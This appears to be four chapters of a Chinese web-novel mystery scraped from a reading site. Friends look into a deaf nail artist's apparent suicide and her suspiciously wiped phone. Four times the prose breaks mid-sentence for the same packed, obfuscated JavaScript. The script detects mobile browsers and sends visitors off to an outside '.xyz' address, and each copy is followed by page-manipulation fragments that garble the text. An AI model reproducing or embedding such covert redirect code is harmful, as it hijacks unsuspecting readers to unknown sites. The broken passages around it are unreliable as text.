有些事是经不起细想的。出演同一部电视剧的演员们私下里明明关系平平,但在他们的cp粉找出的蛛丝马迹中,他们俩已经爱得死去活来了。人类脑补的力量是十分强大的。陈彦博越想越觉得,戚玉衡可能对沈灵均有想法。 他和沈灵均爱吃雪菜肉丝面的事,他当时只不过是随口一说,但戚玉衡居然一直记得,还大费周章地腌了雪菜。 不不不,有没有可能,戚玉衡就是那种心特别细、对朋友特别好的人呢?毕竟,根据他的耳闻目见,戚玉衡就是个心细如发的老好人,他做出这种事也不奇怪。 可是、可是,对象是沈灵均啊,是从小到大桃花运都特别旺盛的沈灵均。他能吸引到同性的关注,陈彦博一点也不意外。 陈彦博有些犯愁:唉,万一戚玉衡要是真的喜欢沈灵均,那可怎么办?弯恋直是不会有好结果的,他注定只能失恋了。 虽然相处的时间不多,但陈彦博已经把戚玉衡当成了朋友,心中一时间有些唏嘘。 这天深夜,陈彦博刚下班,就收到了沈灵均的微信。 【Shen:滴滴。】 陈彦博很快回过去一个问号。 【Shen:要下班了、要上班了、还是熬夜呢?】 【急急国王:要下班了。】 【Shen:明天休息吗?休息的话,我们去喝酒吧。】 看着这条消息,陈彦博叹了口气: 【急急国王:行啊。去哪?Resonate?】 【Shen:可以啊。但今天周三,玉衡不在。】 不知道是不是因为刚刚经历过一次全面的思想洗礼,陈彦博看这条消息时都戴上了“有色眼镜”,思维不由自主地发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15368006|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散着:看沈十一这意思,Resonate只有玉衡吸引他咯?Resonate的酒明明也很好喝的好不好?!啧啧啧,他的心思也不单纯! 【急急国王:那也去Resonate吧,我最近也没开发什么新的好店。Resonate的特调挺好喝的,也不贵。】 沈灵均说了个好。 半个多小时后,两个人在Resonate碰了面。一见到沈灵均,陈彦博就吸了吸鼻子:“哇,你身上好大的烟味。” “嗯,这几天我抽了不少,警队的老烟枪也多,整个人都被腌入味了。” 陈彦博知道他最近被派驻到了市局,于是问道:“案子有进展吗?” 沈灵均摇摇头。 陈彦博于是也没再接着往下问。 以前两个人见面的时候,一般都是陈彦博负责说,沈灵均负责听。陈彦博觉得,对于现在的沈灵均来说,比起千篇一律的安慰和额外的照顾,让他觉得“世界没有发生变化”是最好的。 于是,陈彦博照例和他聊起了自己的工作——他能说的素材也确实不少。有一家人,老爹还没死呢,儿女们就在病床前为了遗产争得面红耳赤,但没一个人愿意主动去缴住院费;有一个四十岁的大姐,因为教儿子数学题儿子总是学不会,直接被气昏了,醒来第一句话是问丈夫,“他学会了吗”;有个二十多岁的年轻人,说自己因为好奇,把啤酒瓶塞进○花里的…… 说到这,陈彦博止不住地笑:“我受过专业的训练,我具有非常高的职业素养,所以当时我装作一副相信了的样子,完全没有笑。” “就这种事,我还真不是第一次遇见了……塞蔬菜的、塞啤酒瓶的,我同事还遇到过一个往里塞鱼的,塞情去玩具的在这些人里都属于是最正常的了。诶,你说,他们这群人,到底是出于什么心理干这些事的啊。” 沈灵均摇摇头:“理解不了。” 陈彦博觑着他的脸色,问:“嘶,说起来,有挺多男的追过你的吧?” 沈灵均斜了他一眼:“哪里有挺多?一共就两个。” 陈彦博装出一副恍然的样子:“哦对对对,都是咱们读大学的时候发生的事。一个是电子学院的,一个是艺术学院的,一个狂野奔放,一个文静内敛。对比很鲜明,我想起来了。电子学院那个师兄,在图书馆对你一见钟情吧,一路缠着你,跟着你回宿舍,之后前前后后纠缠你一个多月,搞得你差点报警。” “艺术学院的学弟,我记得他长得还挺好看的呢,白白净净的,家里还挺有钱,还送过你卡帝亚的表是吧?但被你退回去了。” “……嗯。” “你工作了之后,就没别的男的追过你了吼?” 沈灵均有些无语地看向他:“你这是什么语气?你好像还挺失望的。” “那倒不是。我可能是……最近夜班值太多了,胡言乱语。” “我看也是。” 过了一会,陈彦博忽然幽幽地道:“唉,爱上一个不该爱的人呀。” 沈灵均转头看向他:“……你这又是在感叹什么?” 陈彦博耸耸肩:“就是说那个师兄和那个学弟啦,他们非要招惹你这个直男,那可不就是爱上不该爱的人了吗?没可能的。” 沈灵均眉头微动,把脸转了回去,应道:“……哦。” 79.第 79 章 离开医院后,戚玉衡接到了一个来自陌生号码的电话。 电话那头是一个女声:“您是戚玉衡戚先生是吗?” “对。你是……” “您好,我是玉宁区公安局的警察。” 听到这,戚玉衡的心下意识地揪了起来——短短一个月间,他遇到的警察比他前三十年人生遇到的警察还要多。连着和丰山、市局、西城、玉宁,两个级别四个警局的警察打了交道。 他遇见的警察都是好人,但与他们打交道的经历,却丝毫不令他愉快。 戚玉衡不动声色地吸了口气:“您好,您有什么事吗?” “您和冯小竹冯小姐是朋友,是吗?” 戚玉衡的心慢慢往下沉去:“……是。” “昨天晚上,冯小竹冯小姐在她的出租屋内自杀了。她留下了一份遗书,这份遗书的内容涉及到了她的财产分配。在这份遗书中,冯小姐把她的一部分财产留给了您。虽然这份遗书因为格式问题,不能算是一份合格的自书遗嘱,但冯小姐的父母表示,他们愿意按照这份遗书处置冯小姐的遗产。您现在方便吗?如果可以的话,您能来我们玉宁区分局一趟吗?我们警方可以做遗产处置的见证人。” 戚玉衡许久没说话。 等了一会后,电话那头的女警忍不住问:“戚先生,您还在吗?” “在,”戚玉衡磕磕巴巴地说道:“她,我昨天还跟她聊天了,她怎么……”戚玉衡感觉自己失去了对自己嘴巴的控制能力:“你不会是骗子吧?” 女警的语气有些无奈,但却并没有不耐烦:“戚先生,您来玉宁公安局一趟,就知道我骗没骗您了。我可能是骗子,但公安局里的警察总不可能是骗子吧?” 戚玉衡想陪一个笑,但嘴角要吊不吊地悬着、僵着:“我知道了,不好意思,真不好意思。我、我就是一时间有些接受不了……” “我明白的。” 在玉宁区公安分局的接待室里,戚玉衡见到了冯小竹的父母、吕伊人和三个他不认识的女人。 吕伊人和冯小竹一样,也是个聋哑人。而尤为不幸的是,她还是个孤儿。在她一岁左右的时候,她就被父母遗弃在了福利院门口。在特二磕磕绊绊地读完九年义务教育后,吕伊人没有能力、也没有财力继续读书,于是便走向社会,开始打工。 但因为聋哑人的身份,吕伊人找工作时处处碰壁,生活非常潦倒。后来,在残联的帮助下,她在一家咖啡店找到了工作,成为了一名拉花师学徒,在技巧熟练之后,咖啡店老板给她转了正,加了薪水。 生活得到了保障后,心地善良的吕伊人开始回馈社会,积极参加帮扶聋哑人的志愿活动。戚玉衡冯小竹二人就是在特二的志愿活动中和她认识的,冯小竹和她更是成了好闺蜜。 负责接待他的警察就是给他打电话的女警,名叫杨雪茹。杨雪茹告诉他,吕伊人是冯小竹尸体的第一发现人。 据吕伊人说,昨天上午,冯小竹在微信上问她,要不要来她家里做美甲。吕伊人同意了。下了晚班后,吕伊人在约定的时间来到了冯小竹的家,但她按了很久的门铃,冯小竹却一直没有给她开门。吕伊人觉得冯小竹绝对不会无故爽约,担心冯小竹出事,于是报了警。 冯小竹租住的是一间loft,警方破门后,发现她吊死在了房间内的楼梯杆上。 听完杨雪茹的话,看着哭泣不止的吕伊人,戚玉衡重重地掐了一把自己的手背——疼,不是梦。冯小竹真的自杀了。在跟他聊完天后不久、在答应他会好好吃饭后不久,拿着一根晾衣绳,上吊自杀了。 一直以来都努力生活、阳光乐观的冯小竹,自杀了。 即使知道警方不会骗他,但戚玉衡还是下意识地问道:“真的是自杀吗?有没有可能是其他情况……比如,入室抢劫杀人什么的?” 杨雪茹摇摇头,推给他几张照片:“在我们警方破门之前,冯小竹的家门是反锁的,她的家是个密室。她家住十七楼,没有人能从窗户出入。房间很整洁,没有任何可疑痕迹。” “在公寓楼楼道的监控视频中,在冯小竹的推断死亡时间内,没人进出过她的家。除了颈上的勒伤,她身上没有其他的伤口,没有防卫伤。而经过简单的尸检,她脖子上的勒伤符合自缢死的特征。” “综合现场的状况,我们排除了他杀可能,至于冯小姐为什么自杀,”杨雪茹在几张照片上面点了点,“我们在她家里找到了许多抗抑郁药品,还有景南省第六医院的病历本。根据病历,冯小姐一年前就已经患上重度抑郁症,她很可能是因为疾病的原因选择自杀的。” 戚玉衡看着照片里的病历本——医生的笔记非常潦草,但因为听了杨雪茹的话,有了心理预期,重度抑郁这几个字并不难辨认。 冯小竹居然得了抑郁症?她从来没向他提过这件事。近一年间,他和冯小竹见面次数并不多,但除开最近两次见面,他之前每一次见冯小竹,冯小竹都是那么的乐观、活泼,脸上永远挂着灿烂的笑,给那些和她一样身有残疾的人送去温暖。这样的一个人,居然有重度抑郁症吗? 这时,杨雪茹又拿出一个证物袋:“戚先生,这是冯小竹小姐的遗书,我们比对了遗书和她在病历本首页的签名,基本可以判定,遗书是由冯小竹本人书写。” 冯小竹的遗书不算长: 【爸爸妈妈:对不起,女儿不孝。但是我实在太累了。你们的养育之恩,来世再报。 我名下两张银行卡中,共有存款八十万,其中四十万留给我的父母,其余的部分,留给我的朋友戚玉衡三十三万,留给我的房东刘昕馨女士三万,两万留给我的朋友吕伊人,两万留给我的朋友曹敏。 衡哥:我希望你能将这三十三万元用于对残疾人群体的帮扶,具体如何分配处置,由你决定。如果这件事给你带来了困扰,我提前向你道歉,但我实在想不到比你更适合托付的人。抱歉,谢谢。 刘姐:非常抱歉选择在您的房子里自杀。 伊人:很抱歉让你看到这样的场景。但我不想一个人在房子里臭掉,我相信你会原谅我的,爱你^3^ 曹姐:谢谢姐教我美甲。感激不尽。】 戚玉衡来来回回地将遗书看了三遍,下意识地看向那三位他从未见过的女性——刘昕馨和曹敏,大概就在她们之中了。 杨雪茹看向一直垂着头的冯父冯母,道:“今天请几位来,是冯小竹父母的意思。他们愿意按照冯小姐的遗书处置冯小姐的财产,拜托我们警方来做这个见证人。” 杨雪茹话音刚落说完,那三个戚玉衡不认识的女性中最年轻的一个就拍了拍冯父的肩,对他打起手语来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462095|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。看这样子,她是警方请来的手语翻译。 冯父从桌下面拎出一个系着死结的黑色塑料袋,费了好一会功夫,他才将那个死结解开:里面是五捆百元大钞。 冯母比划的手语并不是通用的标准手语,戚玉衡只能半看半猜:【没预约,银行有限制,我今天只能取五万块出来。这个钱,我先给刘小姐你,剩下的钱,我们签个条,我明天拿给你们。】 吕伊人哭着道:【叔叔阿姨,我不要你们的钱。你们把钱留着养老用吧。】 坐在手语翻译左边、烫着羊毛卷的女人也说道:“我那两万,也不要了。” 此前一直没开口的刘昕馨看了看吕伊人,又看了看曹敏,撇了撇嘴,看着冯父冯母道:“我就不推脱了。小竹人没了,我心里也不得劲。她是个好姑娘……但是她这么一走,给我的房子弄成凶宅了!一时半会,估计没人会再租了。要是卖,不知道要跌价多少!小竹也是明白这件事,才会给我留钱。” 手语翻译把这话转述给了冯父冯母,冯父点了点头,脸上露出一个僵硬的笑,拿出三万元交给刘昕馨。 戚玉衡这时道:【叔叔阿姨,小竹留给我的那些钱,我也不拿了。】 但冯父冯母立刻摇了摇头,冯母说:【不行。小竹心善,她自从自己挣到钱后,就一直惦记着帮助和我们一样的残疾人。这是她的心愿,】冯母转了转她布满血丝的眼球:【我们做父母的没什么本事,但她最后的心愿,我们想帮她完成。】 冯母又看向吕伊人和曹敏:【小竹留给你们的钱,你们也收下吧。】 但最终,吕伊人和曹敏也没有答应收钱。戚玉衡实在推辞不过,最后决定收下三十万。 【叔叔阿姨,我只收三十万,但这笔资金的总数还是三十三万,余下的三万由我来掏。未来这笔钱的所有去处,我都会制好明细发给你们……我会请律师拟个合同,把这些义务落实成条款。】 从警察局离开后,戚玉衡将冯父冯母送到了他们暂时落脚的旅店——那是一家廉价旅店,居住条件比他曾经住过的廉价旅店有过之而无不及。冯父冯母并没有一起住,而是分开住着大通铺。大通铺的铁架床明显已经很有些年头,人一坐上去就会发出咯吱咯吱的轻响。 但费用很便宜,每人每晚只要八元钱。两个人只要十五元。戚玉衡有心想劝他们换个地方住,可当他看到他们老两口灰败颓然的脸色,这些话就再也说不出口了。 无所谓了。他们心中大概是这么想的。 看着简陋的旅店环境,戚玉衡有些迟钝的脑子在这时生出了一个疑问——冯小竹怎么会有八十万存款的? 和吕伊人一样,冯小竹在初中毕业之后就离家出来打工了。二人的处境也十分类似,冯小竹在找工作时也吃到了无数的闭门羹,只能四处打零工勉强维持生活。后来,冯小竹遇到了好心人曹敏,她不厌其烦地将美甲的技术教给了冯小竹,还在冯小竹出师之后帮她打广告、介绍客人。 但即便有了门手艺,冯小竹的生活依旧算不得宽裕。近些年容州上门美甲的行当也是内卷严重,竞争激烈,冯小竹又有聋哑这个巨大的劣势在,生意算不上特别好。 在这样的情况下,冯小竹居然攒下了整整八十万吗? 做美甲师这三年,她平均一年居然能攒下二十余万块吗? 80.第 80 章 戚玉衡本以为,今晚又会是一个不眠之夜,但出乎他意料的是,这天回到家,他刚挨到床面就睡着了。 他梦到了赵美星自杀那天的事:梦里的赵美星同现实里一样,来星星烘焙买蛋糕,他也一样送出了那只邦尼兔。但不同的是,在梦里,在赵美星离开之前,他一把拉住了她,问:“美星,你肚子里孩子的父亲是谁?” 赵美星看着他,没有说话。 戚玉衡继续问道:“美星,你告诉我好不好?你是不是受了什么委屈?你告诉哥哥,哥哥帮你出气……” 赵美星没有回答他,她甩开了他的手,转身向店门走去。 她一把拉开门,门外是漆黑的、咆哮着的、一望无际的大海。她扑了过去。 戚玉衡尝试着去拉她的手,但随即和她一起跌入了海里。 第二天醒来的时候,戚玉衡仿佛真的溺过一次水一般,一身的冷汗。 这天早上干完活,牛明星旧事重提,说她和丈夫打算周六去丰山寺上香,邀请戚玉衡和她同去。 “这种事,宁可信其有,不可信其无嘛,”牛明星朝戚玉衡展示着小红薯上说丰山寺灵验的推文,道:“万一有用呢?” 在中国人“不养闲神”的观念下,“宁可信其有不可信其无”这句话同“大过年的”“来都来了”一样,说出来有奇效。戚玉衡想着李长乐、想着赵美星、想着冯小竹,想着段俊和高晶,忽然心动了。 沉默了一会后,戚玉衡点点头:“是这个道理。我和你们一起去。” 做完下午的烘焙工作,戚玉衡赶去银行——冯父冯母昨天和他约好,今天要将那三十万元转给他。 办理完转账后,戚玉衡给冯父冯母写了张收条,道:【叔叔阿姨,你们吃过饭了没?我请你们吃个晚饭吧。】 冯父摆摆手,连连拒绝道;【不用,不用。】 这个时候,冯母忽然拉了冯父的袖口一把,随后连着做了几个戚玉衡看不大懂的手势。 冯父的嘴唇动了动,随后看向戚玉衡,脸上露出一个掺杂着歉意和讨好的笑:【小戚,有件事,我想麻烦你帮忙。】 戚玉衡连忙说:【有事您就说,不麻烦的。】 冯母从裤兜里拿出一只手机,按亮屏幕递到戚玉衡面前。冯父道:【这是小竹的手机。是智能机,但我们不太会用这种智能机……我们不识字,用不明白。】 冯父的嘴角不自然的抽动着:【我们想给小竹选张遗照。我们穷,小时候,没给她拍过什么照片,她十六就离开家讨生活,我们手里有的她的照片,都是她十三四岁时拍的照片,离现在太远了。我们就想看看她手机里有没有什么照片。她手机设了面容解锁和密码解锁,面容,】冯父的手垂落下来,过了一会才继续比划道:【现在解不开了,密码,我们又不知道是什么。】 【杨警官说,有的手机维修中心可以把手机密码破解开。但我们人生地不熟,又认不得字,不知道该去哪里找这种地方。你能不能帮帮我们,帮我们找个能解开小竹手机的地方?】冯父连连强调:【技术费当然是我们来付,我们也会付给你辛苦费……】 戚玉衡自然是一口答应:【这事包在我身上,】戚玉衡从冯父手里接过手机,随后用力握了冯父的手一下:【叔叔,我和小竹是好朋友。您说辛苦费,就见外了。】 或许是这话一下子戳中了冯母的心,也或许是她本就一直强忍悲伤,这时已是她忍耐的极限。戚玉衡话“音”刚落,冯母突地弓起身子,哽咽个不停,无论戚玉衡和冯父怎么安慰,都止不住哭音。 她一边哭一边咳嗽,身体因为胸腔的震荡颤抖个不停,像是要把肺和心一并呕出体外。 良久,冯母的情绪才稍稍平复,用不甚标准的手语道:【都是我的错。是我们两个的错。你叔是得了病才聋了的,我是天生就聋了的。我不知道我这个病会遗传的。没想到小竹也会聋。怪我们没见识,怪我不争气,】冯母捶着胸口:【我身体不争气,我身体不争气啊!我这两年还病了,拖累了她,要是我没病、要是我们两个多关心她一点,她也不至于走上绝路啊!】 从冯母的叙述中,戚玉衡了解到,两年多前,冯母被检查出了尿毒症,为了维持生命,每周都需要透析两次。而他们夫妻俩为了省钱,一直没交医保,全部医疗费用都只能自费。一开始,夫妻两人为了不让冯小竹担心,没把事情告诉她。但透析不过半年,两人的积蓄就全花光了,无奈之下,只得向冯小竹开口。 但幸运的是,患上尿毒症一年后,医院就为冯母匹配到了合适的肾源,冯母成功做了换肾手术。 冯母十分自责,认为是家庭的贫困、她的病拖累了冯小竹,让她一个人在大城市打拼却还舍不得吃穿,使她承受了过大的压力,最终走上了绝路。 戚玉衡听完冯母的话,心中疑惑更盛——也就是说,冯小竹从事上门美甲的这三年间,所得的收入不单要负担自己的开销,还要为母亲支付医药费,她时不时还会把钱投入到无偿的志愿服务中。在这种情况下,她还攒下了八十万。 美甲师的收入有这么丰厚吗? 这时,戚玉衡接到了陈彦博的电话:“玉衡,你现在有时间吗?我同学刚才给我递信儿,说美星的手机修复成功了!我现在就要去他店里,你方便去吗?” 戚玉衡心中一喜,立刻应道:“我有时间,你把地址发给我,我现在就过去。” 正好,他可以把小竹的手机拿给陈彦博的同学看一看。 戚玉衡到达“胡同小虎手机维修店”时,陈彦博已经在店内了,正倚在柜台上和一个三十左右的中年男人聊天。看到戚玉衡进门,他立刻热情地为二人介绍道:“虎子,这是我和灵均的朋友,戚玉衡。玉衡,这是我初中同学,他名字里也有个玉字,他姓苏,苏玉湖,他小名叫虎子,我们也就这么叫他了。” 苏玉湖的名字颇文气,但长相却“名不副实”。他个子相当高,估计超过了一米九,身材魁梧,长手长脚,六百毫升的矿泉水在他手里像是三百五十毫升装的。 苏玉湖伸出手和戚玉衡握了握,笑道:“真是,帅哥的朋友也是帅哥,一走进来我以为哪里来的明星呢。” 戚玉衡很不擅长应对来自不熟悉之人的夸赞,他笑着说了句没有,随即便垂下头。好在苏玉湖没把注意力放在他身上太久,他很快又将把目光转回到陈彦博身上:“你和班长最近怎么样?结婚了吗?” “挺好,都挺好。没呢,结婚还能不通知你吗?” “班长长得还是那么帅啊?” “可不嘛。那是一年更比一年帅。” 寒暄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518905|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几句后,苏玉湖从柜台后的工作间拿出了赵美星的手机,道:“这手机虽然泡过水,但是保存数据的芯片没烧,我拿了块新主板,加了锡点之后把芯片安回去了,数据应该都没损坏,”苏玉湖按亮屏幕:“但屏幕现在有一半是花的,这我真的是无能为力了,毕竟是在水里泡过的手机。” 陈彦博摆摆手:“不碍事不碍事,数据没问题就没事。” 戚玉衡将冯小竹的手机拿出来:“苏哥,你这能破解手机吗?我有个朋友,刚刚过世,她父母想从她手机里为她选张遗照,但是却打不开她的手机了。” 苏玉湖轻轻地啊了一声,说:“你节哀啊……放心,我这就给你弄开。” 苏玉湖接过冯小竹的手机,转身回工作间工作去了。戚玉衡和陈彦博则在店里坐了下来,开始鼓捣赵美星的手机。 两个人先点开赵美星的微信,将聊天框依次点开。但不知道是不是赵美星有删除聊天框的习惯,赵美星微信里现存的聊天不多,除了冯小竹、戚玉衡、李艳娜、几个女同学,就是一些品牌奶茶的社群,没有什么特别的地方。 赵美星的微信好友也不多,一共也就六十三人。赵美星对其中三十人做了备注,这些人不是冯小竹这样的义工就是赵美星的老师和同学。剩余没有备注的三十三人,无一例外,微信里没有赵美星同他们聊天的记录。 正当二人准备点开赵美星未备注好友的朋友圈找线索时,苏玉湖从工作间走了出来:“玉衡,手机我给你解开了。” “这么快吗?”戚玉衡有些惊喜,接过手机道谢道:“谢谢你啊苏哥!” 戚玉衡下意识地用手指在屏幕上滑动了两下,随即便觉得有些不大对劲。 ——冯小竹的手机背景图,居然是系统默认图。戚玉衡身边的女生基本上都会把手机的背景替换成自己喜欢的图片:明星、自拍、或是什么卡通图,会用系统默认图作为手机背景的女生少之又少。 但这台手机最不对劲的地方并不在于它默认的背景——这手机安装的APP,属实少得可怜,APP图标甚至没有占满两页,除了系统应用,就是一些非常大众的APP,像是手机出厂自带的。戚玉衡仔细检查了一番,发现冯小竹的手机没有安小红薯。 但戚玉衡记得,之前有一次他和冯小竹碰面,冯小竹跟他提起过,她的客户一般都会在小红薯选好心仪的美甲款式,让她照着做,而她也会在这个APP上找灵感和学习。 这是这台手机上却没有小红薯这个APP。 犹豫了一会后,戚玉衡点开了冯小竹的短信——里面空空如也。 怎么会这样?大多数人的手机短信区,都会有几条快递通知短信吧? 难道冯小竹在自杀前,还特意清理过手机吗? 戚玉衡的手指下意识地摩挲着手机的边缘—— 等等,边缘? 戚玉衡这时才反应过来,冯小竹的手机是台裸机。但一般人,都会给手机买个手机壳吧?戚玉衡记得,他在助听器商店遇见冯小竹那天,她手机上还有个绿色的手机壳。 说到保护壳…… 戚玉衡把手机翻了个面,开始打量起这台手机的摄像头来。仔细观察了一会后,戚玉衡最终确定:冯小竹和他在助听器店偶遇时,她拿的根本不是这台手机。 81.第 81 章 戚玉衡再次把手机递给了苏玉湖:“苏哥,你能不能查出来,这台手机近期有没有恢复过出厂设置?” 苏玉湖爽快地答应了。过了一会,他从工作间走出来,道:“没有删除过数据的痕迹啊,这应该是台新手机。这是个新型号呢,大米X200,刚出没多久的手机。” 察觉出戚玉衡的表情有些不对劲,陈彦博起身问道:“怎么了玉衡?这手机出什么问题了吗?” 戚玉衡将事情的来龙去脉告诉了陈彦博:“……我记得,三周多前,我和小竹见面的时候,她用的根本不是这台手机。就算小竹这三周间因为手机坏了之类的原因换了手机,她的手机也没理由这么干净啊。” “而且,一般人换手机,要么把旧手机的数据全都导入到新手机里,要么把旧手机保存下来,但我看小竹父母的意思,小竹似乎只留下这一部手机。我觉得这很蹊跷。” 陈彦博皱着眉,搓了搓额头:“确实啊。冯小姐她……确实是自杀吗?” 戚玉衡点点头:“警方的判断,大概率不会出错。遗书也确实是小竹的笔迹,现场也很整齐,小竹的推定死亡时间里,监控显示没人进过她的房间……无论从哪个角度看,都是自杀。” 陈彦博沉默了一会,说:“你说,冯小姐的死,会不会和美星的死,有点关系?” 陈彦博下意识地压低了声音:“就……我觉得,美星出事的时候,她的表现很……激烈。当然,也有可能是美星父母的反应太平淡了,衬托出来的。但当时,冯小姐给我的感觉真的是伤心欲绝……你说,美星肚子里孩子的事,冯小姐,会不会知道些什么?” 戚玉衡没有立刻答话。他将那部已经熄屏的手机拿在手里翻来覆去地看了两遍,随后轻声道:“我……再去问问叔叔阿姨,看看小竹家里有没有闲置的旧手机。说不定,这只是我太疑神疑鬼了。美星的事,我问过小竹,她当时跟我说,她什么也不知道。” 陈彦博没再说什么。 二人之后又找了家咖啡厅,继续检查赵美星的手机。他们将赵美星微信好友的朋友圈看了个遍,没找出任何可疑人员:对赵美星开放朋友圈权限的异性并不多,基本上都是老师和同学。赵美星似乎不常用Q/Q,Q/Q上根本没登录账号。 他们又去看赵美星手机里存储的照片,这一次,他们倒是发现了一些线索。 赵美星很少自拍,手机里的照片多是拍街景和拍美食。引起二人注意的是几张美食照片:这几张照片拍的是一些海鲜刺身,有鱼有虾有蟹,在滤镜的加持下看着无比诱人,其中一盘刺身切片精致,被摆成了荷花状。 看照片里的光线以及照片拍摄的日期,这些照片应该是在一家店里拍摄的。 陈彦博道:“看这些食材以及摆盘的精致度,美星去吃的这家店可不便宜。你看这龙虾,钳子快赶我拳头大,你再看这个,这应该是三文鱼大腹,整整一盘啊,我记得我有一次去吃一家688的海鲜自助,三文鱼大腹每人限量三块……还有这个荷花,“花瓣”应该是某种鱼的刺身,光美星拍下来的这些菜,没有个两三千都下不来。” 戚玉衡没吃过688的海鲜自助,没吃过龙虾,没吃过三文鱼大腹,但这并不妨碍他从这些图片里嗅出了金钱的味道。戚玉衡喃喃道:“但是美星是不可能有钱去这种店里消费的。” 戚玉衡和陈彦博对视一眼,异口同声地说道:“一定是有人带她去的!” “只要我们找到这家店,说不定就可以……”陈彦博脸上的笑容还没完全展开,就很快地垮了下来:“这张照片是七月份拍的,现在已经过去五个月了,就算找到了这家店,店里的监控录像很大概率也会被覆盖吧。” 戚玉衡在一旁给他打气:“但说不定有店员会记得她呢?美星是个聋哑人,算是很有记忆点的人了。” “也是,也是,我们只要想办法找到这家店就可以了……这种高档海鲜刺身店,就算是容州也未必会有多少家,一家一家地找过去也花不了多少时间。” 戚玉衡出主意道:“我们还可以把这张摆盘的图片传到网上去,问问网友知不知道这是哪家店,人多力量大嘛。” “对对对,这是个好主意。” 陈彦博立刻把那张荷花摆盘图发在了自己的围脖和小红薯上,随后,他又点开美食点评软件,将刺身店按照人均消费从高到低排好序。戚玉衡和陈彦博分别记下了十家店,准备近期就去店里打听。 做完这一切,两人便去附近的一家烤肉店吃烤肉。 正吃着呢,陈彦博手机收到条消息。那是条语音,陈彦博点开后,沈灵均的声音从他手机里传了出来:“你最近要是有时间,去我家一趟,酒柜里有几瓶酒,是我妈最近尝到的好酒,刚到货,她让我拿给你尝尝。” 陈彦博回复道:“行,我有时间就去拿。” 戚玉衡心里一时之间升出些羡慕:既羡慕陈彦博能和沈灵均关系无比要好,又羡慕两人之间牢固真诚的友谊。他翻动着烤盘上的肉,轻声道:“你和灵均的关系真好啊。” “嘿嘿,毕竟是穿尿布时就认识的交情嘛。” “刚才苏哥说的班长,是灵均吗?” “对,他小学、初中、高中都是班里的班长。小学的时候,他是老师钦点的班长加体委,因为他长得高。初中和高中都是班里的同学把他选上去的,因为他人缘好,在班级里很吃得开,男生女生都愿意听他的话,”陈彦博啧了一声:“其实论男生缘啊,我一点也不比他差,但女生缘,那就差太远了。” 陈彦博觑着戚玉衡的脸色,忽然脑子一抽,话音一拐:“但他的男生缘啊,还给他招来过两朵烂桃花。” 一直低着头注意烤肉火候的戚玉衡在这时抬起头来:“烂桃花?什……什么意思?有男生追求过他吗?” “对,有两个gay。那两个gay追他的时候,可是把他烦得不行……” 这个时候,戚玉衡的手臂忽然一动,撞翻了他手边的大麦茶。戚玉衡立刻拿餐巾纸去擦,有些手忙脚乱。把桌面上的水都擦干净后,戚玉衡面色带着几分拘谨地说:“你继续。他们怎么烦灵均了?” 陈彦博舔了舔唇,继续道:“因为他们俩用的方式方法不对啊。第一个男生,真不是我说,纯变态啊。在图书馆相中十一了之后,就跟个跟踪狂一样,十一走到哪他跟到哪,还偷拍十一,十一上厕所他都恨不得挤进隔间里去,是十一最后吓唬他说要报警,他才停止这种行为的。” “第二个呢,倒是没第一个变态。但也一言难尽。他喜欢给十一送花、送礼物,耐力特别好,十一不收他也一直送,总是在宿舍楼下堵十一,每次被拒绝之后就哭,搞得好像十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537650|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一对不起他了似的,也弄得十一烦恼得不行。嗐,主要是这俩追求者确实太奇葩了,十一……和我都对同性恋没偏见的。喜欢男的女的猫啊狗啊老的……太少的不行啊,都是个人喜好,谁还没点个人喜好呢?” 戚玉衡点点头,脸上露出一个近似松了口气的表情,随后皱起眉:“他们的做法太不对了,简直就是性骚扰。” 好青涩、好明显的反应啊。如果说之前陈彦博对戚玉衡喜欢沈灵均的事半信半疑,现在他是九分信一分疑了。 陈彦博心情颇为复杂,在吃饭的间隙给沈灵均发了一个大锤砸脑门的表情。 过了十几分钟后,沈灵均回给他一个问号。 陈彦博道: 【急急国王:你真罪恶】 手机那头的沈灵均不明所以,又回了一个问号。 